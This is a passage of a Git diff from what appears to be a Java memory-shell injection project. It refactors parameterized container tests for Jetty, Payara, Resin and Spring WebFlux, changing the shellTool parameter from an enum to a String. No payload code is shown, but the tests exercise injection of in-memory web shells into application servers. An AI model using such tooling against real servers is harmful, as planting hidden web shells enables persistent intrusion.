shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Jetty81ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -69,7 +68,7 @@ public class Jetty92ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Jetty93ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Jetty94ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Payara5201ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Payara520225ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -67,7 +67,7 @@ public class Payara620222ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
@@ -71,7 +70,7 @@ public class Resin3116ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Resin318ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Resin4058ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class Resin4067ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python); shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python);
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -65,7 +64,7 @@ public class SpringBoot2WebFluxContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python); shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer, container, python);
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
@@ -63,7 +62,7 @@ public class SpringBoot3WebFluxContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python); shellInjectIsOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python);
} }

Some files were not shown because too many files have changed in this diff Show More